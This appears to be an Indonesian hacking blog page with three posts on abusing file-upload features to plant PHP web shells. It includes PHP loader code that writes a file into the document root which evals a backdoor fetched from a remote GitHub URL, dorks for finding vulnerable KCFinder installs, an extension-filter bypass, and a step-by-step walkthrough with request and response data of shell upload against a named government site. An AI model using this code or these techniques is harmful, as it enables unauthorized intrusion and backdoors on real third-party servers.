Dragon Xploiter | BLOG: Arbitrary File Upload

Showing posts with label Arbitrary File Upload. Show all posts

Hai Sobat.

Saya ikal,

Disini saya akan share sesuatu nih.

Pernah gak sih kalian capek capek ngelakuin injeksi sql dan berhasil tembus ke dashboard admin, eh pas udah upload shell, shellnya terdownload. Atau udah capek capek ngedork sana sini pakai google,bing,atau mungkin kalian sampai ngedork di duckduckgo pas nemu site vuln eh shell yang sudah terupload malah terdownload.

Nah mimin punya trik untuk membypassnya, Tapi pertama tama hal yang harus diperhatikan untuk melakukan trik ini ialah saat shell terdownload, code dari shell kita tereksekusi oleh server. Contohnya disini mimin punya site yang vuln terhadap JFU (Jquery File Upload), Dan saat selesai mimin upload webshell ketarget, mimin akses webshellnya yang terjadi adalah file webshell tadi terdownload. Tapi, saat mimin buka, code dari file tersebut telah tereksekusi.

Jika tereksekusi seperti diatas, berarti kita hanya tinggal melakukan RCE kesitarget saja, Disini mimin punya kebiasaan kalo mau melakukan RCE mimin bakal cek phpinfo nya dulu untuk mengetahui disable_function apa saja yang ada. Mimin upload code seperti ini.

<?php phpinfo(); ?>

Upload lalu akses filenya dan buka dicode editor apa saja. Dan saat mimin cek ternyata function system,passthru,exec,shell_exec didisable oleh server. yaudah lakuin ini aja biar garibet ribet.

Simpan code dibawah lalu upload file berisi code dibawah ke target kalian.

<?php

$dir = $_SERVER['DOCUMENT_ROOT'] . '/';
$file_to_write = 'shell.php';
$content_to_write = "<?php eval('?>'.file_get_contents('https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php'));?>";
if( is_dir($dir) === false )
{
    mkdir($dir);
}
$file = fopen($dir . '/' . $file_to_write,"w");
fwrite($file, $content_to_write);
fclose($file);
include $dir . '/' . $file_to_write;

?>

Lalu upload kewebsite target kalian. Jika sudah berhasil terupload, akses file tadi maka kalian akan mendownload filenya. Jika sudah terdownload, lanjut kalian akses seperti ini.

https://localhost/shell.php

Dan yap, shell kalian sudah tidak terdownload lagi, dan sudah berada didocument root.

Sekian, Terimakasih.

Hai Sobat

Saya ikal,

Disini saya akan share sesuatu nih.

Sesuai judul kita kali ini, kita akan bereksperimen di sebuah plugin yang lumayan populer di web management ya, Okeh langsung saja kita masuk kepembahasannya langsung eaaa.

Bahan :

- Shell backdoor

- Dork : intitle:KCFinder: /files

intitle:KCFinder: /images

Disini saya sudah memiliki target sendiri ya, Saya akan praktekan ditarget saya yang beralamatkan https://tpls-a.ccdmd.qc.ca/lib/kcfinder/browse.php Dan tampilan target saya seperti ini

Itu tampilan dari KCFinder target saya ya, Let's play the experimen. Pertama disini saya pastikan bahwa pluginnya bekerja atau tidak, dengan mengupload sebuah pure image ya,

Yup, gambar terupload tanpa adanya kendala. Kita coba upload shell backdoor kita masing masing dengan extensi .php

Denied file extension.

Hmmm, File Extension tidak diperbolehkan untuk diupload. kita coba upload shell kita dengan extensi .php5 deh.

Masih tidak diperbolehkan :D, Bagaimana dengan extensi .php7, mari kita coba

Berhasil terupload, mari kita cek shellnya.

What hapen? Why blank? saya rasa php code dari shellnya tidak tereksekusi oleh server, Dan saat saya lakukan view-source saya mendapatkan ini :D

Benar dugaanku, bahwa php file yang diupload keserver tersebut dengan extensi .php7, code phpnya tidak akan tereksekusi.

Bagaimana dengan extensi .phtml :D. Mari kita coba upload kembali.

F*ck of this shit, But i have crazy idea :D. Solusi untuk membypass filternya dan file yg terupload tereksekusi codenya adalah dengan extensi .pht, Mari kita coba

Gotchaa!. Mari kita cek shellnya.

Whoopsy, I got it :D.

Ide ini saya dapatkan dari OWASP.org. kalian bisa kunjungi saja dibawah ini :

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

Dan sedikit info nih, "Info apa tuch bang?". Info extensi apasaja yang tidak diperbolehkan dalam Plugin KCFinder.

Warn : Itu semua tergantung versi pluginnya ya, mungkin saja jika update nanti, extensi .pht akan masuk ban list juga :D

Versi KCFinder target saya adalah : 3.10

Thanks

See U

Hai Sobat

Saya ikal,

Disini Saya akan bawakan sebuah trik nih

Sesuai judul kita kali ini, disini kita masih membahas sebuah trik yang memakai fiture Inspect Element. Okeh ini berhubungan dengan Arbitrary File Upload atau Unrestricted File Upload, ya intinya Upload - Upload sewenang wenang :D.

Disini kita akan mempraktekannya di salah satu subdomain website Badan Pengawas Obat dan Makanan (POM). yang beralamatkan https://bpomsvr-0170.pom.go.id/ .

Disini Unrestricted File Upload Terjadi di form registrasi, disana sudah terdapat form registrasi jadi kalian tinggal mengklik saja, dan secara otomatis kalian akan diarahkan ke page registrasi.

Isi form yang ada lalu klik lanjut, isi asal saja dan ikutin arahan yang ada dari server.

isi kembali form yang ada lalu klik lanjut. (Isi asal saja).

Nah disini lah kita akan berksperimen :D, First kita upload shell dengan extensi .php dan hasilnya akan seperti dibawah ini

Format File Tidak Diperbolehkan!

File tidak diperbolehkan :D, Coba kita upload file dengan extensi .jpg dan hasilnya akan seperti dibawah ini

File berhasil terupload dan server mencantumkan letak filenya :D, Bagaimana jika kita upload file dengan extensi .jpg lalu kita lakukan tamper data dan mengubah extensinya menjadi .php , Lets Try

Disini saya akan lakukan tamper data menggunakan Inspect Element yo, Bagi yang belum tau caranya bisa kunjungin post sebelumnya atau bisa klik saja link ini https://www.draxploit.web.id/2020/11/tamper-data-with-inspect-element-fiture.html

Disini saya mengupload sebuah pure gambar dengan nama DX.jpg, dan inilah request yang ditangkap. biar lebih jelas requestan yang ditangkap tadi saya taruh dibawah.

-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="action"

upload
-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="kdDok"

01
-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="format"

jpg;jpeg;pdf
-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="maxsize"

5242880
-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="files"; filename="DX.jpg"
Content-Type: image/jpeg

ÿØÿà

Hmmmm, Saya ganti extensinya menjadi .php dan response servernya seperti ini

{"status":"false", "error":"Format File Tidak Diperbolehkan!", "path":"docs/reg/2020/12/1122281372/1122281372-01-20201210215118.php", "urll":"https://bpomsvr-0170.pom.go.id/index.php/download/data/ZG9jcy9yZWcvMjAyMC8xMi8xMTIyMjgxMzcyLzExMjIyODEzNzItMDEtMjAyMDEyMTAyMTUxMTgucGhw/DX.php", "ext":"php", "rename":"1122281372-01-20201210215118.php", "name":"DX.php", "filename":"DX", "size":"27826"}

Status = false, atau gagal terkirim. Hmmz namun terlihat letak filenya, coba kita akses saja https://bpomsvr-0170.pom.go.id/docs/reg/2020/12/1122281372/1122281372-01-20201210215118.php

File tidak ada, Hmmmzzz. Mari kita coba lihat kembali requestan diatas, disini saya mencurigai salah satu requestannya yaitu

-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="format"

jpg;jpeg;pdf

Bagaimana jika ini extensi yang diperbolehkan, Bagaimana jika kita tambahkan satu extensi lain seperti ini lalu kita langsung mengupload file dengan extensi .php

-----------------------------12517111096057299861026348551
Content-Disposition: form-data; name="format"

jpg;jpeg;pdf;php

Lets Try again :D.

Isi request :

-----------------------------2534607582979961701751904158
Content-Disposition: form-data; name="action"

upload
-----------------------------2534607582979961701751904158
Content-Disposition: form-data; name="kdDok"

01
-----------------------------2534607582979961701751904158
Content-Disposition: form-data; name="format"

jpg;jpeg;pdf;php
-----------------------------2534607582979961701751904158
Content-Disposition: form-data; name="maxsize"

5242880
-----------------------------2534607582979961701751904158
Content-Disposition: form-data; name="files"; filename="whoopsy.php"
Content-Type: application/octet-stream

Dan ketika saya kirim requestannya, response yang saya dapat seperti ini

{"status":"true", "error":"", "path":"docs/reg/2020/12/1122281372/1122281372-01-20201210220417.php", "urll":"https://bpomsvr-0170.pom.go.id/index.php/download/data/ZG9jcy9yZWcvMjAyMC8xMi8xMTIyMjgxMzcyLzExMjIyODEzNzItMDEtMjAyMDEyMTAyMjA0MTcucGhw/whoopsy.php", "ext":"php", "rename":"1122281372-01-20201210220417.php", "name":"whoopsy.php", "filename":"whoopsy", "size":"179123"}

Status = true, mari kita cek filenya :D. https://bpomsvr-0170.pom.go.id/index.php/download/data/ZG9jcy9yZWcvMjAyMC8xMi8xMTIyMjgxMzcyLzExMjIyODEzNzItMDEtMjAyMDEyMTAyMjA0MTcucGhw/whoopsy.php

Tidak tereksekusi, bagaimana jika kita akses path satunya lagi yaitu di https://bpomsvr-0170.pom.go.id/docs/reg/2020/12/1122281372/1122281372-01-20201210220417.php

And Look it this shit :D, Mission Success dude :D.

Okeh segini saja untuk artikel kali ini,

Thanks

See U

Postingan Terbaru

Pengertian, Fungsi, Cara Kerja Osi Layer

Dragon Xploiter | BLOG

Main Menu

About

Follow Us!

Popular Posts

Label Cloud

Copyright Text